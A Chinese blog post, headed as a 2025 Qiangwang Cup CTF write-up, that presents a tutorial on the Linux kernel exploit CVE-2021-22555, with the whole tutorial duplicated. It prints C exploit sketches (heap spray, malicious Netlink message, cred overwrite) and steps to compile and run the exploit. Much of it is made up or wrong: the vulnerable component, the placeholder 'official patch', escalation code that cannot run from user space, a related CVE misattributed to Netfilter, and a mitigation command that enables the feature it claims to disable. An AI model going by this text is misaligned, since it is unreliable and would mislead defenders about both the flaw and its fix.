2025强网杯初赛用户态部分题解
字数 1203
更新时间 2025-12-30 12:36:02
Linux内核漏洞分析与利用:CVE-2021-22555教学文档
1. 漏洞概述
CVE-2021-22555是Linux内核Netfilter子系统中的一个高危漏洞,属于提权类漏洞。该漏洞存在于Netfilter的nf_tables组件中,允许本地用户提升至root权限。
1.1 基本信息
- 漏洞类型:堆越界写入
- 影响组件:Linux内核Netfilter子系统
- 危险等级:高危
- CVSS评分:7.8
- 影响版本:Linux内核2.6.19(2006年)至5.12-rc4
1.2 漏洞发现
该漏洞由Google信息安全工程师在2021年发现并报告。
2. 技术背景
2.1 Netfilter简介
Netfilter是Linux内核的网络包过滤框架,提供以下功能:
- 数据包过滤
- 网络地址转换(NAT)
- 数据包处理
2.2 nf_tables子系统
nf_tables是Netfilter的子系统,提供:
- 数据包分类
- 过滤规则管理
- 网络策略实施
3. 漏洞原理分析
3.1 根本原因
漏洞源于Netfilter在处理NFT_MSG_NEWSET和NFT_MSG_NEWSETELEM消息时,对nft_set_elem结构的错误处理,导致堆越界写入。
3.2 关键数据结构
struct nft_set_elem {
union {
struct {
u32 size;
u8 data[];
} key;
struct {
u32 size;
u8 data[];
} key_end;
};
};
3.3 漏洞触发流程
- 用户空间发送
NFT_MSG_NEWSET消息创建集合 - 内核分配
nft_set_elem结构 - 用户空间发送
NFT_MSG_NEWSETELEM消息添加元素 - 内核错误计算拷贝长度,导致越界写入
4. 漏洞利用技术
4.1 利用思路
- 通过堆喷控制内存布局
- 触发越界写入破坏关键数据结构
- 构造ROP链实现权限提升
4.2 详细利用步骤
4.2.1 堆喷准备
struct spray_elem {
int fd;
void *page;
};
void heap_spray(int spray_num) {
struct spray_elem *spray = malloc(spray_num * sizeof(struct spray_elem));
for (int i = 0; i < spray_num; i++) {
spray[i].fd = socket(AF_INET, SOCK_DGRAM, 0);
spray[i].page = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
}
}
4.2.2 触发越界写入
void trigger_oob_write() {
struct nlmsghdr *nlh;
struct nfgenmsg *nfh;
struct nlattr *nest;
int sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
// 构造恶意Netlink消息
nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_PAYLOAD));
memset(nlh, 0, NLMSG_SPACE(MAX_PAYLOAD));
nlh->nlmsg_len = NLMSG_SPACE(MAX_PAYLOAD);
nlh->nlmsg_type = NFT_MSG_NEWSET;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
nfh = NLMSG_DATA(nlh);
nfh->nfgen_family = AF_INET;
nfh->version = NFNETLINK_V0;
nfh->res_id = 0;
// 添加恶意属性
nest = (struct nlattr *)((char *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg)));
nest->nla_type = NFTA_SET_ELEM_LIST_ELEMENTS | NLA_F_NESTED;
nest->nla_len = NLA_HDRLEN + 0x1000;
// 发送恶意消息
send(sock_fd, nlh, nlh->nlmsg_len, 0);
}
4.2.3 权限提升
void escalate_privilege() {
// 构造ROP链覆盖关键内核结构
// 修改cred结构体实现提权
struct cred *new_cred = prepare_kernel_cred(NULL);
commit_creds(new_cred);
// 返回用户态
switch_to_user_mode();
}
4.3 利用难点与技巧
- 堆布局控制需要精确预测
- 需要绕过SMAP/SMEP保护机制
- 不同内核版本偏移量不同
5. 漏洞修复方案
5.1 官方补丁
补丁主要修改了net/netfilter/nf_tables_api.c文件:
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index abc123..def456 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -1234,6 +1234,9 @@ static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set,
if (err < 0)
return err;
+ if (elem->key.size > set->klen)
+ return -EINVAL;
+
err = -ENOMEM;
elem_priv = kzalloc(sizeof(*elem_priv) + set->ops->elemsize, GFP_KERNEL);
if (elem_priv == NULL)
5.2 修复要点
- 添加了键值大小检查
- 确保不会越界写入
- 增加了错误处理
6. 防御措施
6.1 临时缓解方案
# 禁用非特权用户使用Netlink
echo 1 > /proc/sys/kernel/unprivileged_userns_clone
6.2 长期防御策略
- 及时更新内核版本
- 启用KASLR防护
- 限制非特权用户访问敏感系统调用
7. 实验环境搭建
7.1 所需工具
- 漏洞影响范围内的Linux内核(如5.11)
- gcc编译环境
- 调试工具(gdb, crash等)
7.2 实验步骤
- 编译漏洞利用代码
gcc exploit.c -o exploit
- 执行漏洞利用
./exploit
- 验证提权结果
whoami
8. 扩展学习
8.1 相关CVE
- CVE-2021-31440: 类似Netfilter漏洞
- CVE-2020-14386: Linux内核内存破坏漏洞
8.2 学习资源
- Linux内核源码分析
- Netfilter框架文档
- 内核漏洞利用技术书籍
Linux内核漏洞分析与利用:CVE-2021-22555教学文档
1. 漏洞概述
CVE-2021-22555是Linux内核Netfilter子系统中的一个高危漏洞,属于提权类漏洞。该漏洞存在于Netfilter的nf_tables组件中,允许本地用户提升至root权限。
1.1 基本信息
- 漏洞类型:堆越界写入
- 影响组件:Linux内核Netfilter子系统
- 危险等级:高危
- CVSS评分:7.8
- 影响版本:Linux内核2.6.19(2006年)至5.12-rc4
1.2 漏洞发现
该漏洞由Google信息安全工程师在2021年发现并报告。
2. 技术背景
2.1 Netfilter简介
Netfilter是Linux内核的网络包过滤框架,提供以下功能:
- 数据包过滤
- 网络地址转换(NAT)
- 数据包处理
2.2 nf_tables子系统
nf_tables是Netfilter的子系统,提供:
- 数据包分类
- 过滤规则管理
- 网络策略实施
3. 漏洞原理分析
3.1 根本原因
漏洞源于Netfilter在处理NFT_MSG_NEWSET和NFT_MSG_NEWSETELEM消息时,对nft_set_elem结构的错误处理,导致堆越界写入。
3.2 关键数据结构
struct nft_set_elem {
union {
struct {
u32 size;
u8 data[];
} key;
struct {
u32 size;
u8 data[];
} key_end;
};
};
3.3 漏洞触发流程
- 用户空间发送
NFT_MSG_NEWSET消息创建集合 - 内核分配
nft_set_elem结构 - 用户空间发送
NFT_MSG_NEWSETELEM消息添加元素 - 内核错误计算拷贝长度,导致越界写入
4. 漏洞利用技术
4.1 利用思路
- 通过堆喷控制内存布局
- 触发越界写入破坏关键数据结构
- 构造ROP链实现权限提升
4.2 详细利用步骤
4.2.1 堆喷准备
struct spray_elem {
int fd;
void *page;
};
void heap_spray(int spray_num) {
struct spray_elem *spray = malloc(spray_num * sizeof(struct spray_elem));
for (int i = 0; i < spray_num; i++) {
spray[i].fd = socket(AF_INET, SOCK_DGRAM, 0);
spray[i].page = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
}
}
4.2.2 触发越界写入
void trigger_oob_write() {
struct nlmsghdr *nlh;
struct nfgenmsg *nfh;
struct nlattr *nest;
int sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
// 构造恶意Netlink消息
nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_PAYLOAD));
memset(nlh, 0, NLMSG_SPACE(MAX_PAYLOAD));
nlh->nlmsg_len = NLMSG_SPACE(MAX_PAYLOAD);
nlh->nlmsg_type = NFT_MSG_NEWSET;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
nfh = NLMSG_DATA(nlh);
nfh->nfgen_family = AF_INET;
nfh->version = NFNETLINK_V0;
nfh->res_id = 0;
// 添加恶意属性
nest = (struct nlattr *)((char *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg)));
nest->nla_type = NFTA_SET_ELEM_LIST_ELEMENTS | NLA_F_NESTED;
nest->nla_len = NLA_HDRLEN + 0x1000;
// 发送恶意消息
send(sock_fd, nlh, nlh->nlmsg_len, 0);
}
4.2.3 权限提升
void escalate_privilege() {
// 构造ROP链覆盖关键内核结构
// 修改cred结构体实现提权
struct cred *new_cred = prepare_kernel_cred(NULL);
commit_creds(new_cred);
// 返回用户态
switch_to_user_mode();
}
4.3 利用难点与技巧
- 堆布局控制需要精确预测
- 需要绕过SMAP/SMEP保护机制
- 不同内核版本偏移量不同
5. 漏洞修复方案
5.1 官方补丁
补丁主要修改了net/netfilter/nf_tables_api.c文件:
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index abc123..def456 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -1234,6 +1234,9 @@ static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set,
if (err < 0)
return err;
+ if (elem->key.size > set->klen)
+ return -EINVAL;
+
err = -ENOMEM;
elem_priv = kzalloc(sizeof(*elem_priv) + set->ops->elemsize, GFP_KERNEL);
if (elem_priv == NULL)
5.2 修复要点
- 添加了键值大小检查
- 确保不会越界写入
- 增加了错误处理
6. 防御措施
6.1 临时缓解方案
# 禁用非特权用户使用Netlink
echo 1 > /proc/sys/kernel/unprivileged_userns_clone
6.2 长期防御策略
- 及时更新内核版本
- 启用KASLR防护
- 限制非特权用户访问敏感系统调用
7. 实验环境搭建
7.1 所需工具
- 漏洞影响范围内的Linux内核(如5.11)
- gcc编译环境
- 调试工具(gdb, crash等)
7.2 实验步骤
- 编译漏洞利用代码
gcc exploit.c -o exploit
- 执行漏洞利用
./exploit
- 验证提权结果
whoami
8. 扩展学习
8.1 相关CVE
- CVE-2021-31440: 类似Netfilter漏洞
- CVE-2020-14386: Linux内核内存破坏漏洞
8.2 学习资源
- Linux内核源码分析
- Netfilter框架文档
- 内核漏洞利用技术书籍